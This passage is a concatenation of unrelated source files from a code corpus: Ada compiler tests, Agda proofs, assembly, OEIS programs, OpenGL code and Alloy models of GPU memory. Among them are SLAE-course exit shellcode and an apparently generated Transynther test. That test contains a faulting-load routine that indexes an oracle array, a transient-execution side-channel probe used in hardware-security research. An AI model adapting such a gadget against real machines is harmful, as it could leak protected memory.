h₁ #-} -- postulate h₂ : B alter alter' -- {-# ATP prove h₂ #-}
src/main/fragment/mos6502-common/vwum1_lt_vbuxx_then_la1.asm
jbrandwood/kickc
2
26168
lda {m1}+1 bne !+ stx $ff lda {m1} cmp $ff bcc {la1} !:
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c48011a.ada
best08618/asylo
7
22303
<reponame>best08618/asylo<gh_stars>1-10 -- C48011A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT OVERLOADED ALLOCATORS ARE DETERMINED TO HAVE THE -- APPROPRIATE TYPE. -- HISTORY: -- JET 08/17/88 CREATED ORIGINAL TEST. WITH REPORT; USE REPORT; PROCEDURE C48011A IS TYPE ACC1 IS ACCESS INTEGER; TYPE ACC2 IS ACCESS INTEGER; A1 : ACC1 := NULL; A2 : ACC2 := NULL; TYPE REC1 IS RECORD A : INTEGER; END RECORD; TYPE REC2 IS RECORD A : ACC2; END RECORD; TYPE AREC1 IS ACCESS REC1; TYPE AREC2 IS ACCESS REC2; PROCEDURE PROC(A : ACC1) IS BEGIN IF A.ALL /= 1 THEN FAILED("INCORRECT CALL OF FIRST PROC"); END IF; END PROC; PROCEDURE PROC(A : INTEGER) IS BEGIN IF A /= 2 THEN FAILED("INCORRECT CALL OF SECOND PROC"); END IF; END PROC; FUNCTION FUNC(I : INTEGER) RETURN AREC1 IS BEGIN IF I /= 1 THEN FAILED("INCORRECT CALL OF FIRST FUNC"); END IF; RETURN NEW REC1'(A => 0); END FUNC; FUNCTION FUNC(I : INTEGER) RETURN AREC2 IS BEGIN IF I /= 2 THEN FAILED("INCORRECT CALL OF SECOND FUNC"); END IF; RETURN NEW REC2'(A => NULL); END FUNC; BEGIN TEST ("C48011A", "CHECK THAT OVERLOADED ALLOCATORS ARE " & "DETERMINED TO HAVE THE APPROPRIATE TYPE"); IF A1 = NEW INTEGER'(1) THEN FAILED("INCORRECT RETURN VALUE FROM ALLOCATOR 1"); END IF; IF A2 = NEW INTEGER'(2) THEN FAILED("INCORRECT RETURN VALUE FROM ALLOCATOR 2"); END IF; FUNC(1).A := INTEGER'(1); FUNC(IDENT_INT(2)).A := NEW INTEGER'(2); PROC(NEW INTEGER'(IDENT_INT(1))); PROC(IDENT_INT(2)); RESULT; END C48011A;
Applications/Safari/front window/front window's tabs.applescript
looking-for-a-job/applescript-examples
1
2015
<gh_stars>1-10 #!/usr/bin/osascript tell application "Safari" front window's tabs as list --gets all open tabs end tell
examples/factorial.asm
paulbarbu/cpu-emu
2
172686
;################################################################################ ;#### Fisier Test 2 - Factorial ;################################################################################ .data .code jmp START ; salt la start cod ;-------------------------------------------------------------------------------- ; Zona Proceduri ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; Nume : Functia factorial ; Autori : <NAME> , <NAME> ; Despre : functie de calcul factorial pana la 8 - demo ; Parametrii : R1 <- numarul ; Rezultat : R2 <- (numarul)! ;-------------------------------------------------------------------------------- FACT: cmp r1,0 ; test caz initial beq FACT_INIT cmp r1,1 beq FACT_INIT ; calcul factorial mov r3,r1 dec r1 push r3 call FACT ; (k-1)! pop r3 mov r4,r2 call MUL ; k*(k-1)! mov r2,r6 ; scrie rezultatul jmp FACT_SF FACT_INIT: mov r2,1 FACT_SF: ret ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; Nume : Functia inmultire ; Autori : <NAME> , <NAME> ; Despre : functie ce inmulteste 2 numere ; Parametrii : R3 <- numarul 1 R4 <- numarul 2 ; Rezultat : R6 <- n1*n2 ; Obs : Pentru un rezultat corect produsul operanzilor nu trebuie sa ; faca depasire pe 16 biti ;-------------------------------------------------------------------------------- MUL: push r5 mov r6,0 cmp r4,1 beq MUL_SAME cmp r4,0 beq MUL_0 mov r5,0 mov r5,r4 MUL_REP:add r6,r3 dec r5 cmp r5,0 bne MUL_REP jmp MUL_SF MUL_SAME: mov r6,r3 jmp MUL_SF MUL_0: mov r6,0 MUL_SF: pop r5 ret ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; <NAME>ceduri ;-------------------------------------------------------------------------------- START: add r1, 6 ; 8 = numarul maxim care poate fi calculat call FACT END
test/Succeed/TerminationInductionInduction.agda
shlevy/agda
1,989
1661
<reponame>shlevy/agda -- Andreas, 2018-08-14, re issue #1558 -- Termination checking functions over inductive-inductive types -- {-# OPTIONS -v term:40 #-} mutual data Cxt : Set where ε : Cxt _,_ : (Γ : Cxt) (A : Ty Γ) → Cxt data Ty : (Γ : Cxt) → Set where u : ∀ Γ → Ty Γ Π : ∀ Γ (A : Ty Γ) (B : Ty (Γ , A)) → Ty Γ mutual f : Cxt → Cxt f ε = ε f (Γ , T) = (f Γ , g Γ T) g : ∀ Γ → Ty Γ → Ty (f Γ) g Γ (u .Γ) = u (f Γ) g Γ (Π .Γ A B) = Π (f Γ) (g Γ A) (g (Γ , A) B) -- The type of g contains a call -- -- g Γ _ --> f Γ -- -- which is now recorded by the termination checker. -- Should pass termination.
tests/tzgesvd.adb
leo-brewin/ada-lapack
5
8790
with Ada.Text_IO; with Ada.Text_IO.Complex_IO; with Ada.Numerics.Generic_Real_Arrays; with Ada.Numerics.Generic_Complex_Types; with Ada.Numerics.Generic_Complex_Arrays; with Ada.Numerics.Generic_Elementary_Functions; with Ada.Numerics.Generic_Complex_Elementary_Functions; with Ada_Lapack; use Ada.Text_IO; procedure tzgesvd is type Real is digits 18; package Real_Arrays is new Ada.Numerics.Generic_Real_Arrays (Real); package Complex_Types is new Ada.Numerics.Generic_Complex_Types (Real); package Complex_Arrays is new Ada.Numerics.Generic_Complex_Arrays (Real_Arrays, Complex_Types); package Real_Maths is new Ada.Numerics.Generic_Elementary_Functions (Real); package Complex_Maths is new Ada.Numerics.Generic_Complex_Elementary_Functions (Complex_Types); package Real_IO is new Ada.Text_IO.Float_IO (Real); package Integer_IO is new Ada.Text_IO.Integer_IO (Integer); package Complex_IO is new Ada.Text_IO.Complex_IO (Complex_Types); package Lapack is new Ada_Lapack(Real, Complex_Types, Real_Arrays, Complex_Arrays); use Lapack; use Real_Arrays; use Complex_Types; use Complex_Arrays; use Real_IO; use Integer_IO; use Complex_IO; use Real_Maths; use Complex_Maths; function min(left,right : Integer) return Integer is begin if left < right then return left; else return right; end if; end min; matrix : Complex_Matrix (1..3,1..4); matrix_rows : Integer := Matrix'Length (1); matrix_cols : Integer := Matrix'Length (2); num_singular : Integer; singular_values : Real_Vector (1..min(matrix_rows,matrix_cols)); u_rows : Integer := matrix_rows; u_cols : Integer := matrix_rows; u_matrix : Complex_Matrix (1..u_rows,1..u_cols); -- note: must declare v_hermitian as square even though bottom rows may not be used (when rows>cols) v_rows : Integer := matrix_cols; v_cols : Integer := matrix_cols; v_hermitian : Complex_Matrix (1..v_rows,1..v_cols); short_vector : Complex_Vector (1..1); real_work_vector : Real_Vector (1..5*min(matrix_rows,matrix_cols)); return_code : Integer; begin matrix := ( ( ( 5.91, -5.69), ( 7.09, 2.72), ( 7.78, -4.06), ( -0.79, -7.21) ), ( (-3.15, -4.08), (-1.89, 3.27), ( 4.57, -2.07), ( -3.88, -3.30) ), ( (-4.89, 4.20), ( 4.10, -6.70), ( 3.28, -3.84), ( 3.84, 1.19) ) ); GESVD ( JOBU => 'A', JOBVT => 'A', M => matrix_rows, N => matrix_cols, A => matrix, LDA => matrix_rows, S => singular_values, U => u_matrix, LDU => u_rows, VT => v_hermitian, LDVT => v_rows, WORK => short_vector, LWORK => -1, RWORK => real_work_vector, INFO => return_code ); declare work_vector_rows : Integer := Integer( Re(short_vector(1)) ); work_vector : Complex_Vector (1 .. work_vector_rows); begin GESVD ( JOBU => 'A', JOBVT => 'A', M => matrix_rows, N => matrix_cols, A => matrix, LDA => matrix_rows, S => singular_values, U => u_matrix, LDU => u_rows, VT => v_hermitian, LDVT => v_rows, WORK => work_vector, LWORK => work_vector_rows, RWORK => real_work_vector, INFO => return_code ); end; if return_code > 0 then Put ("ZGESVD failed, the return code was : "); Put ( return_code ); New_line; else num_singular := min(matrix_rows,matrix_cols); put_line("Singular values"); for i in 1..num_singular loop put(singular_values(i),3,4,0); end loop; new_line; new_line; put_line("Matrix U"); for i in 1..matrix_rows loop for j in 1..num_singular loop put(u_matrix(i,j),3,4,0); end loop; new_line; end loop; new_line; put_line("Matrix V Hermitian transpose"); for i in 1..num_singular loop for j in 1..matrix_cols loop put(v_hermitian(i,j),3,4,0); end loop; new_line; end loop; new_line; end if; end tzgesvd;
oeis/346/A346597.asm
neoneye/loda-programs
11
28527
<reponame>neoneye/loda-programs ; A346597: Partial sums of A019554. ; 1,3,6,8,13,19,26,30,33,43,54,60,73,87,102,106,123,129,148,158,179,201,224,236,241,267,276,290,319,349,380,388,421,455,490,496,533,571,610,630,671,713,756,778,793,839,886,898,905,915,966,992,1045,1063,1118,1146,1203,1261,1320,1350,1411,1473,1494,1502,1567,1633,1700,1734,1803,1873,1944,1956,2029,2103,2118,2156,2233,2311,2390,2410,2419,2501,2584,2626,2711,2797,2884,2928,3017,3047,3138,3184,3277,3371,3466,3490,3587,3601,3634,3644 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 seq $0,19554 ; Smallest number whose square is divisible by n. add $3,$0 lpe mov $0,$3
MODULE2/1-exit_shellcode/exit2/exit2.asm
wetw0rk/SLAE
18
2643
; Executable name : exit2 ; Designed OS : Linux (32-bit) ; Author : wetw0rk ; Version : 1.0 ; Created Following : SLAE ; Description : An example of exit shellcode, without NULL bytes ; ; Build using these commands: ; nasm -f elf32 -o exit2.o exit2.asm ; ld -o exit2 exit2.o ; objdump -d exit2 -M intel ; SECTION .text global _start _start: xor eax,eax ; zero out register mov al,1 ; make the exit() syscall xor ebx,ebx ; zero out register mov bl,1 ; exit int 80h ; call the kernel
3-mid/opengl/source/lean/geometry/opengl-primitive.adb
charlie5/lace
20
28742
with openGL.Tasks, GL.Binding, ada.unchecked_Deallocation; package body openGL.Primitive is --------- -- Forge -- procedure define (Self : in out Item; Kind : in facet_Kind) is begin Self.facet_Kind := Kind; end define; procedure free (Self : in out View) is procedure deallocate is new ada.Unchecked_Deallocation (Primitive.item'Class, Primitive.view); begin Self.destroy; deallocate (Self); end free; -------------- -- Attributes -- function Texture (Self : in Item) return openGL.Texture.Object is begin return Self.Texture; end Texture; procedure Texture_is (Self : in out Item; Now : in openGL.Texture.Object) is begin Self.Texture := Now; end Texture_is; function Bounds (self : in Item) return openGL.Bounds is begin return Self.Bounds; end Bounds; procedure Bounds_are (Self : in out Item; Now : in openGL.Bounds) is begin Self.Bounds := Now; end Bounds_are; function is_Transparent (self : in Item) return Boolean is begin return Self.is_Transparent; end is_Transparent; procedure is_Transparent (Self : in out Item; Now : in Boolean := True) is begin Self.is_Transparent := Now; end is_Transparent; -------------- --- Operations -- procedure render (Self : in out Item) is use GL, GL.Binding; begin Tasks.check; if Self.line_Width /= unused_line_Width then glLineWidth (glFloat (Self.line_Width)); end if; end render; end openGL.Primitive;
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1619.asm
ljhsiun2/medusa
9
170829
<reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1619.asm<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_A_ht+0x15d15, %r12 nop nop nop nop nop cmp %r14, %r14 vmovups (%r12), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rcx nop nop nop nop xor %r9, %r9 lea addresses_WC_ht+0x44a4, %r14 add %r8, %r8 movw $0x6162, (%r14) nop add $49856, %r8 lea addresses_WT_ht+0x1c1fd, %r10 nop cmp %r12, %r12 mov $0x6162636465666768, %r14 movq %r14, (%r10) xor $31202, %rcx lea addresses_A_ht+0x1a515, %r8 nop nop nop nop nop sub %r12, %r12 mov (%r8), %r9d nop and $35075, %r9 lea addresses_A_ht+0x7915, %rsi lea addresses_WC_ht+0x4c9d, %rdi clflush (%rdi) nop nop nop cmp %r10, %r10 mov $73, %rcx rep movsw xor $31523, %rdi lea addresses_UC_ht+0x1e715, %rdi nop nop nop nop nop sub %rcx, %rcx movb $0x61, (%rdi) nop nop nop nop nop and $23346, %rcx lea addresses_D_ht+0x2c07, %r10 nop nop nop xor %rsi, %rsi movb $0x61, (%r10) nop nop nop inc %rdi lea addresses_UC_ht+0xbc75, %r10 nop nop sub $40244, %rcx mov (%r10), %r9 sub %rdi, %rdi lea addresses_WT_ht+0xa1d5, %rsi lea addresses_normal_ht+0x12715, %rdi nop sub %r14, %r14 mov $59, %rcx rep movsw nop nop nop nop xor %r8, %r8 lea addresses_UC_ht+0x16cc5, %rsi lea addresses_normal_ht+0x1115, %rdi nop nop and $56252, %r12 mov $60, %rcx rep movsl nop nop nop nop and $39881, %rsi pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %rax push %rcx push %rdi push %rsi // REPMOV lea addresses_WC+0xb995, %rsi lea addresses_RW+0x10315, %rdi nop nop nop nop sub $53748, %rax mov $23, %rcx rep movsb nop nop nop xor $50207, %rax // Faulty Load mov $0x823280000000115, %r13 nop nop nop nop nop sub $7518, %rsi mov (%r13), %r8 lea oracles, %rdi and $0xff, %r8 shlq $12, %r8 mov (%rdi,%r8,1), %r8 pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_RW'}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'dst': {'same': True, 'congruent': 4, 'type': 'addresses_normal_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
alloy4fun_models/trashltl/models/5/uz9nuLbhu8Srqi2q6.als
Kaixi26/org.alloytools.alloy
0
3474
open main pred iduz9nuLbhu8Srqi2q6_prop6 { all f : File | f in Trash and always f in Trash' } pred __repair { iduz9nuLbhu8Srqi2q6_prop6 } check __repair { iduz9nuLbhu8Srqi2q6_prop6 <=> prop6o }
archs/amd_gpu.als
graymalkin/memalloy
20
2472
/********************************************************/ /* Executions on a GPU */ /********************************************************/ open util/relation module amd_gpu sig Loc {} sig Val {} one sig Zero extends Val {} abstract sig Hygiene, Freshness {} one sig CLEAN, DIRTY extends Hygiene {} one sig VALID, INVALID extends Freshness {} fun glom[r1,r2 : univ -> univ] : univ -> univ { r1 + (univ.r1 -> r2.univ) + r2 } sig MemEntry { val : Val, pco : Inst -> Inst } sig CacheEntry extends MemEntry { hy : Hygiene, fr : Freshness, } sig LState { cac : Loc -> lone CacheEntry } sig GState { mem : Loc -> one MemEntry, locked : set Loc } abstract sig Action { g_pre, g_post : GState, l_pre, l_post : LState, l_other : LState, then : set Action, same_thd : set Action, same_wg : set Action, loc : set Loc, }{ complete[@then, Action] transitive[@then] acyclic[@then, Action] equivalence[@same_wg, Action] equivalence[@same_thd, Action] @same_thd in @same_wg } sig EnvFlush extends Action {}{ // loc is dirty in L1 all x : Loc | x in loc implies l_pre.cac[x].hy = DIRTY // loc is not locked in global mem no (loc & g_pre.locked) // update loc in global mem all x : Loc | x in loc => g_post.mem[x].val = l_pre.cac[x].val and g_post.mem[x].pco = glom[g_pre.mem[x].pco, l_pre.cac[x].pco] // ghost else g_post.mem[x] = g_pre.mem[x] // global mem otherwise unchanged g_post.locked = g_pre.locked // make loc L1 cachelines clean but otherwise unchanged all x : Loc | x in loc => l_post.cac[x].hy = CLEAN and l_post.cac[x].fr = l_pre.cac[x].fr and l_post.cac[x].val = l_pre.cac[x].val else l_post.cac[x] = l_pre.cac[x] } sig EnvFetch extends Action {} { // global mem is unchanged g_post = g_pre // loc is not locked in global mem no (loc & g_pre.locked) // loc is not dirty in L1 all x : Loc | x in loc implies l_pre.cac[x].hy != DIRTY // update loc's L1 cacheline, and make it clean and valid all x : Loc | x in loc => l_post.cac[x].val = g_pre.mem[x].val and l_post.cac[x].hy = CLEAN and l_post.cac[x].fr = VALID and l_post.cac[x].pco = (none -> none) // ghost else l_post.cac[x] = l_pre.cac[x] } sig EnvInval extends Action {} { // global mem is unchanged g_post = g_pre // make loc L1 cachelines invalid but otherwise unchanged all x : Loc | x in loc => l_post.cac[x].hy = l_pre.cac[x].hy and l_post.cac[x].fr = INVALID and l_post.cac[x].val = l_pre.cac[x].val and l_post.cac[x].pco = l_pre.cac[x].pco else l_post.cac[x] = l_pre.cac[x] } abstract sig Inst extends Action { rval : lone Val, wval : lone Val } sig Load extends Inst { src : lone Inst } { one loc one rval no wval // L1 cache is unchanged l_post.cac = l_pre.cac // global mem is unchanged g_post = g_pre // loc is valid in L1 cache l_pre.cac[loc].fr = VALID // value matches up l_pre.cac[loc].val = rval } sig Store extends Inst {}{ one loc one wval no rval // global mem is unchanged g_post = g_pre // update loc in L1 cache l_post.cac[loc].val = wval l_post.cac[loc].hy = DIRTY l_post.cac[loc].fr = VALID l_post.cac[loc].pco = glom[l_pre.cac[loc].pco, this->this] // rest of L1 is unchanged all x : Loc | x != loc implies l_post.cac[x] = l_pre.cac[x] } sig IncL1 extends Inst { src : lone Inst }{ one loc one wval one rval // loc is valid in L1 cache l_pre.cac[loc].fr = VALID // value matches up l_pre.cac[loc].val = rval // update loc in L1 cache l_post.cac[loc].val = wval l_post.cac[loc].hy = DIRTY l_post.cac[loc].fr = VALID l_post.cac[loc].pco = glom[l_pre.cac[loc].pco, this->this] // rest of L1 is unchanged all x : Loc | x != loc implies l_post.cac[x] = l_pre.cac[x] // global mem is unchanged g_post = g_pre } sig Inval extends Inst {}{ no loc no wval no rval // no location is valid in L1 VALID not in l_pre.cac[Loc].fr // nothing is changed l_post.cac = l_pre.cac g_post = g_pre } sig RemInval extends Inst {}{ no loc no wval no rval // no location is valid in the other L1 VALID not in l_other.cac[Loc].fr // nothing is changed l_post.cac = l_pre.cac g_post = g_pre } sig Flush extends Inst {}{ no loc no rval no wval // no location is dirty in L1 DIRTY not in l_pre.cac[Loc].hy // nothing is changed l_post.cac = l_pre.cac g_post = g_pre } sig RemFlush extends Inst {}{ no loc no rval no wval // no location is dirty in the other L1 DIRTY not in l_other.cac[Loc].hy // nothing is changed l_post.cac = l_pre.cac g_post = g_pre } sig Lock extends Inst {} { one loc no rval no wval // L1 cache is unchanged l_post.cac = l_pre.cac // global mem is unchanged g_post.mem = g_pre.mem // loc is unlocked before, and locked after loc not in g_pre.locked g_post.locked = g_pre.locked + loc } sig Unlock extends Inst {} { one loc no rval no wval // L1 cache is unchanged l_post.cac = l_pre.cac // global mem is unchanged g_post.mem = g_pre.mem // loc is locked before, and unlocked after loc in g_pre.locked g_post.locked = g_pre.locked - loc } pred same_loc[i1, i2 : Inst] { one i1.loc one i2.loc i1.loc = i2.loc } pred initial_gstate [gs : GState] { all x : Loc | gs.mem[x].val = Zero } pred initial_lstate[ls : LState] { no (ls.cac) } pred final_lstate[ls : LState] { DIRTY not in ls.cac[Loc].hy } pred is_first_action[a : Action] { a not in Action.then } pred is_last_action[a : Action] { no (a.then) } pred is_first_action_in_wg[a : Action] { no b : Action | (b -> a) in then & same_wg } pred is_last_action_in_wg[a : Action] { no b : Action | (a -> b) in then & same_wg } pred is_next_action_in_other_wg[a,b : Action] { (a -> b) in (then - same_wg) - ((then - same_wg) . then) } pred is_prev_action_in_other_wg[a,b : Action] { (b -> a) in (then - same_wg) - (then . (then - same_wg)) } pred globally_consecutive[a,b : Action] { (a -> b) in then - (then . then) } pred locally_consecutive[a,b : Action] { (a -> b) in (then & same_wg) - ((then & same_wg) . then) } pred sb_imm[a,b : Inst] { (a -> b) in (Inst <: (then & same_thd) :> Inst) - ((Inst <: (then & same_thd) :> Inst) . then) } pred consecutive_lock_unlock[a : Lock, b : Unlock] { (a -> b) in (Lock <: then :> Unlock) - ((Lock <: then :> Unlock) . then) } fun derived_rf : Inst -> Inst { let my_src = (Load <: src) + (IncL1 <: src) | ~my_src } fun derived_co : Inst -> Inst { ^({i1, i2 : Inst | some x : Loc | all a : Action | is_last_action[a] implies (i1 -> i2) in a.g_post.mem[x].pco - iden}) } pred consistent { // We start in an "initial" state all a : Action | is_first_action[a] implies initial_gstate[a.g_pre] // Each workgroup starts in an "initial" state all a : Action | is_first_action_in_wg[a] implies initial_lstate[a.l_pre] // Each workgroup ends in a "final" state all a : Action | is_last_action_in_wg[a] implies final_lstate[a.l_post] // Every Lock is followed by an Unlock in the same thread all a : Lock | some b : Unlock | (a -> b) in then & same_thd and a.loc = b.loc // Each consecutive (Lock, Unlock) pair is in the same thread all a,b : Action | consecutive_lock_unlock[a,b] implies (a -> b) in same_thd // The src map agrees with the read/written values all a : Load | no a.src => a.rval = Zero else a.rval = a.src.wval // Consecutive actions in a work-group share local state all a,b : Action | locally_consecutive[a,b] implies a.l_post = b.l_pre // Consecutive global actions share global state all a,b : Action | globally_consecutive[a,b] implies a.g_post = b.g_pre // The "other state" coincides with pre-state of // the next action in the other work-group all a,b : Action | is_next_action_in_other_wg[a,b] implies a.l_other = b.l_pre // The "other state" coincides with post-state of // the previous action in the other work-group all a,b : Action | is_prev_action_in_other_wg[a,b] implies a.l_other = b.l_post // There are no spare states floating around LState in Action.(l_pre + l_post) GState in Action.(g_pre + g_post) // There are no spare memory entries floating around MemEntry in (GState.mem[Loc] + LState.cac[Loc]) /* // Show an "immediate then" relation some imm_then : Action -> Action { imm_then in then no (imm_then & (imm_then . ^imm_then)) (Action -> Action) in *imm_then + ~*imm_then } */ } pred postcondition[x : Loc, v : Val] { all a : Action | is_last_action[a] implies a.g_post.mem[x].val = v } pred mp_forced { consistent some disj x, y : Loc | some disj a0, a1, a2, a3, a4, a5, a6, a7, a8, a9 : Action { (a0 -> a1) + (a1 -> a2) + (a2 -> a3) + (a3 -> a4) + (a4 -> a5) + (a5 -> a6) + (a6 -> a7) + (a7 -> a8) + (a8 -> a9) in then (a0 -> a1) + (a1 -> a7) + (a7 -> a8) + (a8 -> a9) in same_thd (a2 -> a3) + (a3 -> a4) + (a4 -> a5) + (a5 -> a6) in same_thd (a0 -> a2) not in same_thd same_thd = same_wg // Alloy can't add extra instructions Inst in a0 + a2 + a4 + a5 + a8 + a9 a0 in Inval a1 in EnvFetch && a1.loc = x // environment transition a2 in Store && a2.loc = x && a2.wval != Zero a3 in EnvFlush && a3.loc = x // environment transition a4 in Flush a5 in Store && a5.loc = y && a5.wval != Zero a6 in EnvFlush && a6.loc = y // environment transition a7 in EnvFetch && a7.loc = y // environment transition a8 in Load && a8.loc = y && a8.rval = a5.wval a9 in Load && a9.loc = x && a9.rval = Zero } } pred mp { consistent some disj x, y : Loc | some disj a0, a1, a2, b0, b1, b2 : Action { (a0 -> a1) + (a1 -> a2) in then & same_thd (b0 -> b1) + (b1 -> b2) in then & same_thd // Alloy is not allowed to add extra instructions 